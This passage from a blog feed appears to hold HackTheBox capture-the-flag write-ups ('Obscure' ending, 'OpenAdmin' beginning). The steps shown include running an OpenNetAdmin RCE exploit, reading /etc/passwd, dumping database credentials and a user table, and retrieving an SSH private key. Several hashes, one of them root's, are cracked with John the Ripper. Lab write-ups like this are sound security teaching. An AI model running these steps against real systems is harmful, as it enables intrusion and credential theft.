class=\"w\"> <\/span><span class=\"k\">do<\/span><span class=\"w\"> <\/span>cat<span class=\"w\"> <\/span>\/tmp\/SSH\/<span class=\"nv\">$f<\/span><span class=\"p\">;<\/span><span class=\"w\"> <\/span><span class=\"k\">done<\/span><span class=\"p\">;<\/span><span class=\"w\"> <\/span><span class=\"k\">done<\/span>\n<\/code><\/pre><\/div>\n\n<p>In our main session, we launch the <code>BetterSSH<\/code> script until we get a successful dump. The method is a bit flaky due to the timing, but after a few attempts, we get the following credentials:<\/p>\n<div class=\"highlight\"><pre><span><\/span><code>root\n$6$riekpK4m$uBdaAyK0j9WfMzvcSKYVfyEHGtBfnfpiVbYbzbVmfbneEbo0wSijW1GQussvJSk8X1M56kzgGj8f7DFN1h4dy1\n18226\n0\n99999\n7\n<\/code><\/pre><\/div>\n\n<p>The root password hash is quite easily cracked with JohnTheRipper:<\/p>\n<div class=\"highlight\"><pre><span><\/span><code>$<span class=\"w\"> <\/span>john<span class=\"w\"> <\/span>--wordlist<span class=\"o\">=<\/span>\/usr\/share\/wordlists\/rockyou.txt<span class=\"w\"> <\/span>root.hash\nUsing<span class=\"w\"> <\/span>default<span class=\"w\"> <\/span>input<span class=\"w\"> <\/span>encoding:<span class=\"w\"> <\/span>UTF-8\nLoaded<span class=\"w\"> <\/span><span class=\"m\">1<\/span><span class=\"w\"> <\/span>password<span class=\"w\"> <\/span><span class=\"nb\">hash<\/span><span class=\"w\"> <\/span><span class=\"o\">(<\/span>sha512crypt,<span class=\"w\"> <\/span>crypt<span class=\"o\">(<\/span><span class=\"m\">3<\/span><span class=\"o\">)<\/span><span class=\"w\"> <\/span><span class=\"nv\">$6<\/span>$<span class=\"w\"> <\/span><span class=\"o\">[<\/span>SHA512<span class=\"w\"> <\/span><span class=\"m\">256<\/span>\/256<span class=\"w\"> <\/span>AVX2<span class=\"w\"> <\/span>4x<span class=\"o\">])<\/span>\nCost<span class=\"w\"> <\/span><span class=\"m\">1<\/span><span class=\"w\"> <\/span><span class=\"o\">(<\/span>iteration<span class=\"w\"> <\/span>count<span class=\"o\">)<\/span><span class=\"w\"> <\/span>is<span class=\"w\"> <\/span><span class=\"m\">5000<\/span><span class=\"w\"> <\/span><span class=\"k\">for<\/span><span class=\"w\"> <\/span>all<span class=\"w\"> <\/span>loaded<span class=\"w\"> <\/span>hashes\nWill<span class=\"w\"> <\/span>run<span class=\"w\"> <\/span><span class=\"m\">4<\/span><span class=\"w\"> <\/span>OpenMP<span class=\"w\"> <\/span>threads\nPress<span class=\"w\"> <\/span><span class=\"s1\">&#39;q&#39;<\/span><span class=\"w\"> <\/span>or<span class=\"w\"> <\/span>Ctrl-C<span class=\"w\"> <\/span>to<span class=\"w\"> <\/span>abort,<span class=\"w\"> <\/span>almost<span class=\"w\"> <\/span>any<span class=\"w\"> <\/span>other<span class=\"w\"> <\/span>key<span class=\"w\"> <\/span><span class=\"k\">for<\/span><span class=\"w\"> <\/span>status\nmercedes<span class=\"w\">         <\/span><span class=\"o\">(<\/span>?<span class=\"o\">)<\/span>\n1g<span class=\"w\"> <\/span><span class=\"m\">0<\/span>:00:00:00<span class=\"w\"> <\/span>DONE<span class=\"w\"> <\/span><span class=\"o\">(<\/span><span class=\"m\">2020<\/span>-01-10<span class=\"w\"> <\/span><span class=\"m\">16<\/span>:41<span class=\"o\">)<\/span><span class=\"w\"> <\/span><span class=\"m\">3<\/span>.846g\/s<span class=\"w\"> <\/span>1969p\/s<span class=\"w\"> <\/span>1969c\/s<span class=\"w\"> <\/span>1969C\/s<span class=\"w\"> <\/span><span class=\"m\">123456<\/span>..letmein\nUse<span class=\"w\"> <\/span>the<span class=\"w\"> <\/span><span class=\"s2\">&quot;--show&quot;<\/span><span class=\"w\"> <\/span>option<span class=\"w\"> <\/span>to<span class=\"w\"> <\/span>display<span class=\"w\"> <\/span>all<span class=\"w\"> <\/span>of<span class=\"w\"> <\/span>the<span class=\"w\"> <\/span>cracked<span class=\"w\"> <\/span>passwords<span class=\"w\"> <\/span>reliably\nSession<span class=\"w\"> <\/span>completed\n<\/code><\/pre><\/div>\n\n<p>Using the password <code>mercedes<\/code> we can finally authenticate against the <code>BetterSSH<\/code> script and log in as root:<\/p>\n<div class=\"highlight\"><pre><span><\/span><code>$<span class=\"w\"> <\/span>sudo<span class=\"w\"> <\/span>\/usr\/bin\/python3<span class=\"w\"> <\/span>\/home\/robert\/BetterSSH\/BetterSSH.py\nEnter<span class=\"w\"> <\/span>username:<span class=\"w\"> <\/span>root\nEnter<span class=\"w\"> <\/span>password:<span class=\"w\"> <\/span>mercedes\nAuthed!\nroot@Obscure$\n<\/code><\/pre><\/div>\n\n<p>We get a custom shell, but it's good enough to dump the root flag. And that concludes our little adventure into breaking security by obscurity.<\/p>","category":{"@attributes":{"term":"Challenges"}}},{"title":"HackTheBox OpenAdmin","link":{"@attributes":{"href":"https:\/\/spoons.fyi\/2020\/01\/09\/hackthebox-openadmin.html","rel":"alternate"}},"published":"2020-01-09T00:00:00+01:00","updated":"2020-01-09T00:00:00+01:00","author":{"name":{}},"id":"tag:spoons.fyi,2020-01-09:\/2020\/01\/09\/hackthebox-openadmin.html","summary":"<p>OpenAdmin is yet another medium-difficulty machine, which was a blast to hack on! It involved dealing with various stack components, such as interacting directly with a MySQL database. Furthermore, hopping across multiple users through different escalation vectors was very satisfying. Let's see how it is done!Our first nmap scan \u2026<\/p>","content":"<p>OpenAdmin is yet another medium-difficulty machine, which was a blast to hack on! It involved dealing with various stack components, such as interacting directly with a MySQL database. Furthermore, hopping across multiple users through different escalation vectors was very satisfying. Let's see how it is done!Our first nmap scan does not yield any exciting results:<\/p>\n<div class=\"highlight\"><pre><span><\/span><code>$<span class=\"w\"> <\/span>nmap<span class=\"w\"> <\/span>-sS<span class=\"w\"> <\/span>-sC<span class=\"w\"> <\/span>-oN<span class=\"w\"> <\/span>openadmin.nmap<span class=\"w\"> <\/span>-v<span class=\"w\"> <\/span><span class=\"m\">10<\/span>.10.10.171\n<span class=\"c1\"># Nmap 7.80 scan initiated Wed Jan  8 14:33:26 2020 as: nmap -sS -sC -oN openadmin.nmap -v 10.10.10.171<\/span>\nNmap<span class=\"w\"> <\/span>scan<span class=\"w\"> <\/span>report<span class=\"w\"> <\/span><span class=\"k\">for<\/span><span class=\"w\"> <\/span><span class=\"m\">10<\/span>.10.10.171\nHost<span class=\"w\"> <\/span>is<span class=\"w\"> <\/span>up<span class=\"w\"> <\/span><span class=\"o\">(<\/span><span class=\"m\">0<\/span>.11s<span class=\"w\"> <\/span>latency<span class=\"o\">)<\/span>.\nNot<span class=\"w\"> <\/span>shown:<span class=\"w\"> <\/span><span class=\"m\">998<\/span><span class=\"w\"> <\/span>closed<span class=\"w\"> <\/span>ports\nPORT<span class=\"w\">   <\/span>STATE<span class=\"w\"> <\/span>SERVICE\n<span class=\"m\">22<\/span>\/tcp<span class=\"w\"> <\/span>open<span class=\"w\">  <\/span>ssh\n<span class=\"p\">|<\/span><span class=\"w\"> <\/span>ssh-hostkey:\n<span class=\"p\">|<\/span><span class=\"w\">   <\/span><span class=\"m\">2048<\/span><span class=\"w\"> <\/span>4b:98:df:85:d1:7e:f0:3d:da:48:cd:bc:92:00:b7:54<span class=\"w\"> <\/span><span class=\"o\">(<\/span>RSA<span class=\"o\">)<\/span>\n<span class=\"p\">|<\/span><span class=\"w\">   <\/span><span class=\"m\">256<\/span><span class=\"w\"> <\/span>dc:eb:3d:c9:44:d1:18:b1:22:b4:cf:de:bd:6c:7a:54<span class=\"w\"> <\/span><span class=\"o\">(<\/span>ECDSA<span class=\"o\">)<\/span>\n<span class=\"p\">|<\/span>_<span class=\"w\">  <\/span><span class=\"m\">256<\/span><span class=\"w\"> <\/span>dc:ad:ca:3c:11:31:5b:6f:e6:a4:89:34:7c:9b:e5:50<span class=\"w\"> <\/span><span class=\"o\">(<\/span>ED25519<span class=\"o\">)<\/span>\n<span class=\"m\">80<\/span>\/tcp<span class=\"w\"> <\/span>open<span class=\"w\">  <\/span>http\n<span class=\"p\">|<\/span><span class=\"w\"> <\/span>http-methods:\n<span class=\"p\">|<\/span>_<span class=\"w\">  <\/span>Supported<span class=\"w\"> <\/span>Methods:<span class=\"w\"> <\/span>GET<span class=\"w\"> <\/span>POST<span class=\"w\"> <\/span>OPTIONS<span class=\"w\"> <\/span>HEAD\n<span class=\"p\">|<\/span>_http-title:<span class=\"w\"> <\/span>Apache2<span class=\"w\"> <\/span>Ubuntu<span class=\"w\"> <\/span>Default<span class=\"w\"> <\/span>Page:<span class=\"w\"> <\/span>It<span class=\"w\"> <\/span>works\n\nRead<span class=\"w\"> <\/span>data<span class=\"w\"> <\/span>files<span class=\"w\"> <\/span>from:<span class=\"w\"> <\/span>\/usr\/bin\/..\/share\/nmap\n<span class=\"c1\"># Nmap done at Wed Jan  8 14:33:32 2020 -- 1 IP address (1 host up) scanned in 6.18 seconds<\/span>\n<\/code><\/pre><\/div>\n\n<p>On port 80, we see the default Ubuntu Apache page. The server headers and error page leak the concrete version, but it is updated. Using dirbuster and a small directory wordlist, we find the <code>\/music<\/code> and <code>\/ona<\/code> endpoints. The first one hosts a custom web application without any exciting functionality. ONA is more attractive as it stands for <a href=\"https:\/\/opennetadmin.com\/\">OpenNetAdmin<\/a>. In the OpenNetAdmin interface, we are automatically logged in as a guest account. The user info panel leaks some database details, however. We get to know that MySQL is running on localhost, the default DB name is, and the default user is named <code>ona_sys<\/code>. We can also see the ONA version, which is <code>v18.1.1<\/code>. This is plenty of information to go on!We find that an <a href=\"https:\/\/www.exploit-db.com\/exploits\/47691\">RCE is available<\/a> for our version when we check for exploits. With some minor target-related updates to the proof-of-concept, we can drop into a shell right away and dump some user data:<\/p>\n<div class=\"highlight\"><pre><span><\/span><code><span class=\"c1\"># bash rce.sh http:\/\/10.10.10.171\/ona\/<\/span>\n$<span class=\"w\"> <\/span>whoami\nwww-data\n\n$<span class=\"w\"> <\/span>cat<span class=\"w\"> <\/span>\/etc\/passwd\n...\nroot:x:0:0:root:\/root:\/bin\/bash\nwww-data:x:33:33:www-data:\/var\/www:\/usr\/sbin\/nologin\njimmy:x:1000:1000:jimmy:\/home\/jimmy:\/bin\/bash\nmysql:x:111:114:MySQL<span class=\"w\"> <\/span>Server,,,:\/nonexistent:\/bin\/false\njoanna:x:1001:1001:,,,:\/home\/joanna:\/bin\/bash\n<\/code><\/pre><\/div>\n\n<p>On the host, we can finally access the MySQL database:<\/p>\n<div class=\"highlight\"><pre><span><\/span><code>$<span class=\"w\"> <\/span>mysql<span class=\"w\"> <\/span>--version\nmysql<span class=\"w\">  <\/span>Ver<span class=\"w\"> <\/span><span class=\"m\">14<\/span>.14<span class=\"w\"> <\/span>Distrib<span class=\"w\"> <\/span><span class=\"m\">5<\/span>.7.28,<span class=\"w\"> <\/span><span class=\"k\">for<\/span><span class=\"w\"> <\/span>Linux<span class=\"w\"> <\/span><span class=\"o\">(<\/span>x86_64<span class=\"o\">)<\/span><span class=\"w\"> <\/span>using<span class=\"w\">  <\/span>EditLine<span class=\"w\"> <\/span>wrapper\n<\/code><\/pre><\/div>\n\n<p>We can find the credentials by simply browsing the local code. Inside <code>local\/config\/database_settings.inc.php<\/code>:<\/p>\n<div class=\"highlight\"><pre><span><\/span><code><span class=\"cp\">&lt;?php<\/span>\n\n<span class=\"nv\">$ona_contexts<\/span><span class=\"o\">=<\/span><span class=\"k\">array<\/span> <span class=\"p\">(<\/span>\n  <span class=\"s1\">&#39;DEFAULT&#39;<\/span> <span class=\"o\">=&gt;<\/span>\n  <span class=\"k\">array<\/span> <span class=\"p\">(<\/span>\n    <span class=\"s1\">&#39;databases&#39;<\/span> <span class=\"o\">=&gt;<\/span>\n    <span class=\"k\">array<\/span> <span class=\"p\">(<\/span>\n      <span class=\"mi\">0<\/span> <span class=\"o\">=&gt;<\/span>\n      <span class=\"k\">array<\/span> <span class=\"p\">(<\/span>\n        <span class=\"s1\">&#39;db_type&#39;<\/span> <span class=\"o\">=&gt;<\/span> <span class=\"s1\">&#39;mysqli&#39;<\/span><span class=\"p\">,<\/span>\n        <span class=\"s1\">&#39;db_host&#39;<\/span> <span class=\"o\">=&gt;<\/span> <span class=\"s1\">&#39;localhost&#39;<\/span><span class=\"p\">,<\/span>\n        <span class=\"s1\">&#39;db_login&#39;<\/span> <span class=\"o\">=&gt;<\/span> <span class=\"s1\">&#39;ona_sys&#39;<\/span><span class=\"p\">,<\/span>\n        <span class=\"s1\">&#39;db_passwd&#39;<\/span> <span class=\"o\">=&gt;<\/span> <span class=\"s1\">&#39;n1nj4W4rri0R!&#39;<\/span><span class=\"p\">,<\/span>\n        <span class=\"s1\">&#39;db_database&#39;<\/span> <span class=\"o\">=&gt;<\/span> <span class=\"s1\">&#39;ona_default&#39;<\/span><span class=\"p\">,<\/span>\n        <span class=\"s1\">&#39;db_debug&#39;<\/span> <span class=\"o\">=&gt;<\/span> <span class=\"k\">false<\/span><span class=\"p\">,<\/span>\n      <span class=\"p\">),<\/span>\n    <span class=\"p\">),<\/span>\n    <span class=\"s1\">&#39;description&#39;<\/span> <span class=\"o\">=&gt;<\/span> <span class=\"s1\">&#39;Default data context&#39;<\/span><span class=\"p\">,<\/span>\n    <span class=\"s1\">&#39;context_color&#39;<\/span> <span class=\"o\">=&gt;<\/span> <span class=\"s1\">&#39;#D3DBFF&#39;<\/span><span class=\"p\">,<\/span>\n  <span class=\"p\">),<\/span>\n<span class=\"p\">);<\/span>\n<\/code><\/pre><\/div>\n\n<p>With the password in hand, let's show what databases we have:<\/p>\n<div class=\"highlight\"><pre><span><\/span><code>$<span class=\"w\"> <\/span>mysql<span class=\"w\"> <\/span>-u<span class=\"w\"> <\/span>ona_sys<span class=\"w\"> <\/span>-e<span class=\"w\"> <\/span><span class=\"s2\">&quot;show databases;&quot;<\/span><span class=\"w\"> <\/span>-p<span class=\"s1\">&#39;n1nj4W4rri0R!&#39;<\/span>\nDatabase\ninformation_schema\nona_default\n<\/code><\/pre><\/div>\n\n<p>In ona_default, we have a users table, which we can dump:<\/p>\n<div class=\"highlight\"><pre><span><\/span><code>$<span class=\"w\"> <\/span>mysql<span class=\"w\"> <\/span>-u<span class=\"w\"> <\/span>ona_sys<span class=\"w\"> <\/span>-e<span class=\"w\"> <\/span><span class=\"s2\">&quot;use ona_default; select * from users;&quot;<\/span><span class=\"w\"> <\/span>-p<span class=\"s1\">&#39;n1nj4W4rri0R!&#39;<\/span>\nid<span class=\"w\">      <\/span>username<span class=\"w\">        <\/span>password<span class=\"w\">        <\/span>level<span class=\"w\">   <\/span>ctime<span class=\"w\">   <\/span>atime\n<span class=\"m\">1<\/span><span class=\"w\">       <\/span>guest<span class=\"w\">   <\/span>098f6bcd4621d373cade4e832627b4f6<span class=\"w\">        <\/span><span class=\"m\">0<\/span><span class=\"w\">       <\/span><span class=\"m\">2020<\/span>-01-09<span class=\"w\"> <\/span><span class=\"m\">19<\/span>:55:04<span class=\"w\">     <\/span><span class=\"m\">2020<\/span>-01-09<span class=\"w\"> <\/span><span class=\"m\">19<\/span>:55:04\n<span class=\"m\">2<\/span><span class=\"w\">       <\/span>admin<span class=\"w\">   <\/span>21232f297a57a5a743894a0e4a801fc3<span class=\"w\">        <\/span><span class=\"m\">0<\/span><span class=\"w\">       <\/span><span class=\"m\">2007<\/span>-10-30<span class=\"w\"> <\/span><span class=\"m\">03<\/span>:00:17<span class=\"w\">     <\/span><span class=\"m\">2007<\/span>-12-02<span class=\"w\"> <\/span><span class=\"m\">22<\/span>:10:26\n<\/code><\/pre><\/div>\n\n<p>The passwords are MD5 hashes, which are so old that by now that we can perform a <a href=\"https:\/\/md5.gromweb.com\/\">rainbow table lookup<\/a> online:<\/p>\n<div class=\"highlight\"><pre><span><\/span><code><span class=\"n\">guest<\/span><span class=\"o\">:<\/span><span class=\"n\">test<\/span>\n<span class=\"n\">admin<\/span><span class=\"o\">:<\/span><span class=\"n\">admin<\/span>\n<\/code><\/pre><\/div>\n\n<p>With nothing more to check out server-side, we circle back and try out some SSH login with the credentials we have gathered so far. And indeed, <code>jimmy<\/code> has reused the database password <code>n1nj4W4rri0R!<\/code> for his SSH password. Logging in as jimmy, we gain access to <code>\/var\/www\/internal<\/code>, where we find an exciting PHP file:<\/p>\n<div class=\"highlight\"><pre><span><\/span><code>$<span class=\"w\"> <\/span>cat<span class=\"w\"> <\/span>\/var\/www\/internal\/main.php\n&lt;?php<span class=\"w\"> <\/span>session_start<span class=\"o\">()<\/span><span class=\"p\">;<\/span><span class=\"w\"> <\/span><span class=\"k\">if<\/span><span class=\"w\"> <\/span><span class=\"o\">(<\/span>!isset<span class=\"w\"> <\/span><span class=\"o\">(<\/span><span class=\"nv\">$_SESSION<\/span><span class=\"o\">[<\/span><span class=\"s1\">&#39;username&#39;<\/span><span class=\"o\">]))<\/span><span class=\"w\"> <\/span><span class=\"o\">{<\/span><span class=\"w\"> <\/span>header<span class=\"o\">(<\/span><span class=\"s2\">&quot;Location: \/index.php&quot;<\/span><span class=\"o\">)<\/span><span class=\"p\">;<\/span><span class=\"w\"> <\/span><span class=\"o\">}<\/span><span class=\"p\">;<\/span>\n<span class=\"c1\"># Open Admin Trusted<\/span>\n<span class=\"c1\"># OpenAdmin<\/span>\n<span class=\"nv\">$output<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span>shell_exec<span class=\"o\">(<\/span><span class=\"s1\">&#39;cat \/home\/joanna\/.ssh\/id_rsa&#39;<\/span><span class=\"o\">)<\/span><span class=\"p\">;<\/span>\n<span class=\"nb\">echo<\/span><span class=\"w\"> <\/span><span class=\"s2\">&quot;&lt;pre&gt;<\/span><span class=\"nv\">$output<\/span><span class=\"s2\">&lt;\/pre&gt;&quot;<\/span><span class=\"p\">;<\/span>\n?&gt;\n&lt;html&gt;\n&lt;h3&gt;Don<span class=\"err\">&#39;<\/span>t<span class=\"w\"> <\/span>forget<span class=\"w\"> <\/span>your<span class=\"w\"> <\/span><span class=\"s2\">&quot;ninja&quot;<\/span><span class=\"w\"> <\/span>password&lt;\/h3&gt;\nClick<span class=\"w\"> <\/span>here<span class=\"w\"> <\/span>to<span class=\"w\"> <\/span><span class=\"nb\">logout<\/span><span class=\"w\"> <\/span>&lt;a<span class=\"w\"> <\/span><span class=\"nv\">href<\/span><span class=\"o\">=<\/span><span class=\"s2\">&quot;logout.php&quot;<\/span><span class=\"w\"> <\/span><span class=\"nv\">tite<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"s2\">&quot;Logout&quot;<\/span>&gt;Session\n&lt;\/html&gt;\n<\/code><\/pre><\/div>\n\n<p>Posting the password from jimmy's SSH session here allows us to obtain the SSH key for <code>johanna<\/code>:<\/p>\n<div class=\"highlight\"><pre><span><\/span><code>$<span class=\"w\"> <\/span>curl<span class=\"w\"> <\/span>-F<span class=\"w\"> <\/span><span class=\"s2\">&quot;username=jimmy&quot;<\/span><span class=\"w\"> <\/span>-F<span class=\"w\"> <\/span><span class=\"s2\">&quot;password=n1nj4W4rri0R!&quot;<\/span><span class=\"w\"> <\/span>-X<span class=\"w\"> <\/span>POST<span class=\"w\"> <\/span>http:\/\/127.0.0.1:52846\/main.php\n&lt;pre&gt;-----BEGIN<span class=\"w\"> <\/span>RSA<span class=\"w\"> <\/span>PRIVATE<span class=\"w\"> <\/span>KEY-----\nProc-Type:<span class=\"w\"> <\/span><span class=\"m\">4<\/span>,ENCRYPTED\nDEK-Info:<span class=\"w\"> <\/span>AES-128-CBC,2AF25344B8391A25A9B318F3FD767D6D\n\nkG0UYIcGyaxupjQqaS2e1HqbhwRLlNctW2HfJeaKUjWZH4usiD9AtTnIKVUOpZN8\nad\/StMWJ+MkQ5MnAMJglQeUbRxcBP6++Hh251jMcg8ygYcx1UMD03ZjaRuwcf0YO\nShNbbx8Euvr2agjbF+ytimDyWhoJXU+UpTD58L+SIsZzal9U8f+Txhgq9K2KQHBE\n6xaubNKhDJKs\/6YJVEHtYyFbYSbtYt4lsoAyM8w+pTPVa3LRWnGykVR5g79b7lsJ\nZnEPK07fJk8JCdb0wPnLNy9LsyNxXRfV3tX4MRcjOXYZnG2Gv8KEIeIXzNiD5\/Du\ny8byJ\/3I3\/EsqHphIHgD3UfvHy9naXc\/nLUup7s0+WAZ4AUx\/MJnJV2nN8o69JyI\n9z7V9E4q\/aKCh\/xpJmYLj7AmdVd4DlO0ByVdy0SJkRXFaAiSVNQJY8hRHzSS7+k4\npiC96HnJU+Z8+1XbvzR93Wd3klRMO7EesIQ5KKNNU8PpT+0lv\/dEVEppvIDE\/8h\/\n\/U1cPvX9Aci0EUys3naB6pVW8i\/IY9B6Dx6W4JnnSUFsyhR63WNusk9QgvkiTikH\n40ZNca5xHPij8hvUR2v5jGM\/8bvr\/7QtJFRCmMkYp7FMUB0sQ1NLhCjTTVAFN\/AZ\nfnWkJ5u+To0qzuPBWGpZsoZx5AbA4Xi00pqqekeLAli95mKKPecjUgpm+wsx8epb\n9FtpP4aNR8LYlpKSDiiYzNiXEMQiJ9MSk9na10B5FFPsjr+yYEfMylPgogDpES80\nX1VZ+N7S8ZP+7djB22vQ+\/pUQap3PdXEpg3v6S4bfXkYKvFkcocqs8IivdK1+UFg\nS33lgrCM4\/ZjXYP2bpuE5v6dPq+hZvnmKkzcmT1C7YwK1XEyBan8flvIey\/ur\/4F\nFnonsEl16TZvolSt9RH\/19B7wfUHXXCyp9sG8iJGklZvteiJDG45A4eHhz8hxSzh\nTh5w5guPynFv610HJ6wcNVz2MyJsmTyi8WuVxZs8wxrH9kEzXYD\/GtPmcviGCexa\nRTKYbgVn4WkJQYncyC0R1Gv3O8bEigX4SYKqIitMDnixjM6xU0URbnT1+8VdQH7Z\nuhJVn1fzdRKZhWWlT+d+oqIiSrvd6nWhttoJrjrAQ7YWGAm2MBdGA\/MxlYJ9FNDr\n1kxuSODQNGtGnWZPieLvDkwotqZKzdOg7fimGRWiRv6yXo5ps3EJFuSU1fSCv2q2\nXGdfc8ObLC7s3KZwkYjG82tjMZU+P5PifJh6N0PqpxUCxDqAfY+RzcTcM\/SLhS79\nyPzCZH8uWIrjaNaZmDSPC\/z+bWWJKuu4Y1GCXCqkWvwuaGmYeEnXDOxGupUchkrM\n+4R21WQ+eSaULd2PDzLClmYrplnpmbD7C7\/ee6KDTl7JMdV25DM9a16JYOneRtMt\nqlNgzj0Na4ZNMyRAHEl1SF8a72umGO2xLWebDoYf5VSSSZYtCNJdwt3lF7I8+adt\nz0glMMmjR2L5c2HdlTUt5MgiY8+qkHlsL6M91c4diJoEXVh+8YpblAoogOHHBlQe\nK1I1cqiDbVE\/bmiERK+G4rqa0t7VQN6t2VWetWrGb+Ahw\/iMKhpITWLWApA3k9EN\n-----END<span class=\"w\"> <\/span>RSA<span class=\"w\"> <\/span>PRIVATE<span class=\"w\"> <\/span>KEY-----\n&lt;\/pre&gt;&lt;html&gt;\n&lt;h3&gt;Don<span class=\"err\">&#39;<\/span>t<span class=\"w\"> <\/span>forget<span class=\"w\"> <\/span>your<span class=\"w\"> <\/span><span class=\"s2\">&quot;ninja&quot;<\/span><span class=\"w\"> <\/span>password&lt;\/h3&gt;\nClick<span class=\"w\"> <\/span>here<span class=\"w\"> <\/span>to<span class=\"w\"> <\/span><span class=\"nb\">logout<\/span><span class=\"w\"> <\/span>&lt;a<span class=\"w\"> <\/span><span class=\"nv\">href<\/span><span class=\"o\">=<\/span><span class=\"s2\">&quot;logout.php&quot;<\/span><span class=\"w\"> <\/span><span class=\"nv\">tite<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"s2\">&quot;Logout&quot;<\/span>&gt;Session\n&lt;\/html&gt;\n<\/code><\/pre><\/div>\n\n<p>Back on our localhost, we can crack this key with <code>JohnTheRipper<\/code>:<\/p>\n<div class=\"highlight\"><pre><span><\/span><code>\u279c<span class=\"w\">  <\/span>\/usr\/share\/john\/ssh2john.py<span class=\"w\"> <\/span>id_rsa<span class=\"w\"> <\/span>&gt;<span class=\"w\"> <\/span>id_rsa.john\n\u279c<span class=\"w\">  <\/span>openadmin<span class=\"w\"> <\/span>\/usr\/share\/john\/ssh2john.py<span class=\"w\"> <\/span>joanna.key<span class=\"w\"> <\/span>&gt;<span class=\"w\"> <\/span>joanna.hash\n\u279c<span class=\"w\">  <\/span>openadmin<span class=\"w\"> <\/span>john<span class=\"w\"> <\/span>--wordlist<span class=\"o\">=<\/span>\/usr\/share\/wordlists\/rockyou.txt<span class=\"w\"> <\/span>joanna.hash\nUsing<span class=\"w\"> <\/span>default<span class=\"w\"> <\/span>input<span class=\"w\"> <\/span>encoding:<span class=\"w\"> <\/span>UTF-8\nLoaded<span class=\"w\"> <\/span><span class=\"m\">1<\/span><span class=\"w\"> <\/span>password<span class=\"w\"> <\/span><span class=\"nb\">hash<\/span><span class=\"w\"> <\/span><span class=\"o\">(<\/span>SSH<span class=\"w\"> <\/span><span class=\"o\">[<\/span>RSA\/DSA\/EC\/OPENSSH<span class=\"w\"> <\/span><span class=\"o\">(<\/span>SSH<span class=\"w\"> <\/span>private<span class=\"w\"> <\/span>keys<span class=\"o\">)<\/span><span class=\"w\"> <\/span><span class=\"m\">32<\/span>\/64<span class=\"o\">])<\/span>\nCost<span class=\"w\"> <\/span><span class=\"m\">1<\/span><span class=\"w\"> <\/span><span class=\"o\">(<\/span>KDF\/cipher<span class=\"w\"> <\/span><span class=\"o\">[<\/span><span class=\"nv\">0<\/span><span class=\"o\">=<\/span>MD5\/AES<span class=\"w\"> <\/span><span class=\"nv\">1<\/span><span class=\"o\">=<\/span>MD5\/3DES<span class=\"w\"> <\/span><span class=\"nv\">2<\/span><span class=\"o\">=<\/span>Bcrypt\/AES<span class=\"o\">])<\/span><span class=\"w\"> <\/span>is<span class=\"w\"> <\/span><span class=\"m\">0<\/span><span class=\"w\"> <\/span><span class=\"k\">for<\/span><span class=\"w\"> <\/span>all<span class=\"w\"> <\/span>loaded<span class=\"w\"> <\/span>hashes\nCost<span class=\"w\"> <\/span><span class=\"m\">2<\/span><span class=\"w\"> <\/span><span class=\"o\">(<\/span>iteration<span class=\"w\"> <\/span>count<span class=\"o\">)<\/span><span class=\"w\"> <\/span>is<span class=\"w\"> <\/span><span class=\"m\">1<\/span><span class=\"w\"> <\/span><span class=\"k\">for<\/span><span class=\"w\"> <\/span>all<span class=\"w\"> <\/span>loaded<span class=\"w\"> <\/span>hashes\nWill<span class=\"w\"> <\/span>run<span class=\"w\"> <\/span><span class=\"m\">4<\/span><span class=\"w\"> <\/span>OpenMP<span class=\"w\"> <\/span>threads\nNote:<span class=\"w\"> <\/span>This<span class=\"w\"> <\/span>format<span class=\"w\"> <\/span>may<span class=\"w\"> <\/span>emit<span class=\"w\"> <\/span><span class=\"nb\">false<\/span><span class=\"w\"> <\/span>positives,<span class=\"w\"> <\/span>so<span class=\"w\"> <\/span>it<span class=\"w\"> <\/span>will<span class=\"w\"> <\/span>keep<span class=\"w\"> <\/span>trying<span class=\"w\"> <\/span>even<span class=\"w\"> <\/span>after\nfinding<span class=\"w\"> <\/span>a<span class=\"w\"> <\/span>possible<span class=\"w\"> <\/span>candidate.\nPress<span class=\"w\"> <\/span><span class=\"s1\">&#39;q&#39;<\/span><span class=\"w\"> <\/span>or<span class=\"w\"> <\/span>Ctrl-C<span class=\"w\"> <\/span>to<span class=\"w\"> <\/span>abort,<span class=\"w\"> <\/span>almost<span class=\"w\"> <\/span>any<span class=\"w\"> <\/span>other<span class=\"w\"> <\/span>key<span class=\"w\"> <\/span><span class=\"k\">for<\/span><span class=\"w\"> <\/span>status\nbloodninjas<span class=\"w\">      <\/span><span class=\"o\">(<\/span>joanna.key<span class=\"o\">)<\/span>\nWarning:<span class=\"w\"> <\/span>Only<span class=\"w\"> <\/span><span class=\"m\">2<\/span><span class=\"w\"> <\/span>candidates<span class=\"w\"> <\/span>left,<span class=\"w\"> <\/span>minimum<span class=\"w\"> <\/span><span class=\"m\">4<\/span><span class=\"w\"> <\/span>needed<span class=\"w\"> <\/span><span class=\"k\">for<\/span><span class=\"w\"> <\/span>performance.\n1g<span class=\"w\"> <\/span><span class=\"m\">0<\/span>:00:00:06<span class=\"w\"> <\/span>DONE<span class=\"w\"> <\/span><span class=\"o\">(<\/span><span class=\"m\">2020<\/span>-01-08<span class=\"w\"> <\/span><span class=\"m\">17<\/span>:50<span class=\"o\">)<\/span><span class=\"w\"> <\/span><span class=\"m\">0<\/span>.1440g\/s<span class=\"w\"> <\/span>2066Kp\/s<span class=\"w\"> <\/span>2066Kc\/s<span class=\"w\"> <\/span>2066KC\/sa6_123..*7\u00a1Vamos!\nSession<span class=\"w\"> <\/span>completed\n<\/code><\/pre><\/div>\n\n<p>With the password <code>bloodninjas<\/code> in hand, we can log in as johanna through SSH:<\/p>\n<div class=\"highlight\"><pre><span><\/span><code>ssh<span class=\"w\"> <\/span>-i<span class=\"w\"> <\/span>joanna.key<span class=\"w\"> <\/span>joanna@10.10.10.171\n<\/code><\/pre><\/div>\n\n<p>This will give us access to the user flag. We check the sudo permissions for johanna:<\/p>\n<div class=\"highlight\"><pre><span><\/span><code>$<span class=\"w\"> <\/span>sudo<span class=\"w\"> <\/span>-l\nMatching<span class=\"w\"> <\/span>Defaults<span class=\"w\"> <\/span>entries<span class=\"w\"> <\/span><span class=\"k\">for<\/span><span class=\"w\"> <\/span>joanna<span class=\"w\"> <\/span>on<span class=\"w\"> <\/span>openadmin:\n<span class=\"w\">    <\/span>env_reset,<span class=\"w\"> <\/span>mail_badpass,<span class=\"w\"> <\/span><span class=\"nv\">secure_path<\/span><span 